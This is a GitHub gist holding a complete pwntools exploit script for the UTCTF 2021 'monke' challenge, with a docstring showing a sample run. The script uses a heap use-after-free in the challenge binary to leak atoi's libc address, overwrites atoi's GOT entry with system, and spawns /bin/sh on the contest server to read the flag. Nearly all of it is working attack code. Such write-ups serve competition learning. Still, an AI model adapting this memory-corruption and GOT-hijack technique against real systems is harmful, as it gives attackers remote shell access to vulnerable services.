Created
March 13, 2021 22:53
-
-
Save hugsy/3e01b863efd5c0131fcc8b03d998a3d6 to your computer and use it in GitHub Desktop.
utctf 2021 - monke
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3.8 | |
""" | |
[*] getting control of banana[1] via banana[3]... | |
[*] leaking atoi in libc... | |
[+] leaking atoi(): 7f42bbdfa7a0 | |
[+] libc base: 7f42bbdba000 | |
[+] system: 7f42bbe09550 | |
[*] overwrite atoi@got with system... | |
[*] trigger system() | |
[*] Switching to interactive mode | |
[...] | |
$ /bin/sh | |
$ ls | |
flag.txt | |
$ cat flag.txt | |
utflag{m0nk3y_m0nk3y} | |
""" | |
import os, sys | |
from pwn import * | |
# context.log_level = "debug" | |
context.arch = "amd64" # arch="i386", arch="mips", arch="arm", | |
context.terminal = ["tmux", "split-window", "-v", "-p 75"] | |
LOCAL = True | |
TARGET_ELF = os.path.realpath("./monke") | |
elf = ELF(TARGET_ELF) | |
TARGET_LIBC = os.path.realpath("./libc-2.27.so") | |
libc = ELF(TARGET_LIBC) | |
def attach(r): | |
if LOCAL: | |
bkps = [ | |
# 0x400e60, | |
] | |
cmds = [ | |
# "heap-analysis-helper", | |
# "bp * $_base() + 0x1337", | |
"continue", | |
] | |
gdb.attach(r, '\n'.join(["break *{:#x}".format(x) for x in bkps] + cmds)) | |
return | |
__prompt = b"2: inventory\n" | |
__nb_banana = 0 | |
def walk(r, direction): | |
r.sendlineafter(__prompt, b"0") | |
r.recvline() # pick dir | |
r.sendline(direction) | |
def create_banana(r, sz, data): | |
global __nb_banana | |
r.sendlineafter(b"3: take banana\n", b"3") | |
r.sendlineafter(b"to be:\n", str(sz)) | |
r.sendlineafter(b"name it:\n", data) | |
__nb_banana += 1 | |
def eat_banana(r, idx): | |
r.sendlineafter(b"3: take banana\n", b"2") | |
r.recvline() # pick up item | |
res = b"" | |
for i in range(__nb_banana): res += r.recvline() | |
r.sendline(str(idx)) | |
r.sendlineafter(b"[eat|rename]:\n", b"eat") | |
return res | |
def rename_banana(r, idx, new_name, valid=True): | |
r.sendlineafter(b"3: take banana\n", b"2") | |
r.recvline() # pick up item | |
res = b"" | |
for i in range(__nb_banana): res += r.recvline() | |
r.sendline(str(idx)) | |
if not valid: return res | |
r.sendlineafter(b"[eat|rename]:\n", b"rename") | |
r.sendlineafter(b"name it:\n", new_name) | |
return res | |
def exploit(r): | |
# set `can_eat = 0` to `inventory[idx] = 0` after atoi | |
walk(r, b"JUNK") | |
for i in range(1): # todo adjust | |
r.sendlineafter(__prompt, b"0") | |
r.recvline() | |
r.sendline("n") | |
# create 3 aligned bananas 0->2 | |
for i in range(3): | |
create_banana(r, 16, b"A"*14) | |
# poke holes | |
eat_banana(r, 0) | |
eat_banana(r, 1) | |
info("getting control of banana[1] via banana[3]...") | |
create_banana(r, 16, b"A"*14) # 3 | |
info("leaking atoi in libc...") | |
rename_banana(r, 1, p64(elf.got["atoi"]) + p32(0xfffffff)) | |
res = rename_banana(r, 4, b"plop", False) | |
atoi_leak = res.splitlines()[-1].split()[1].ljust(8, b"\x00") | |
atoi_leak = u64(atoi_leak) | |
success(f"leaking atoi(): {atoi_leak:x}") | |
libc.address = atoi_leak-libc.symbols.atoi | |
success(f"libc base: {libc.address:x}") | |
success(f"system: {libc.symbols.system:x}") | |
info("overwrite atoi@got with system...") | |
rename_banana(r, 3, p64(libc.symbols.system)) | |
info("trigger system()") | |
r.sendline(b"/bin/sh") | |
r.interactive() | |
return 0 | |
if __name__ == "__main__": | |
if len(sys.argv)>=2: | |
LOCAL = False | |
r = remote("pwn.utctf.live", 9999) | |
else: | |
r = process([TARGET_ELF, ], env={"LD_PRELOAD": libc.path}) | |
attach(r) | |
exit(exploit(r)) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment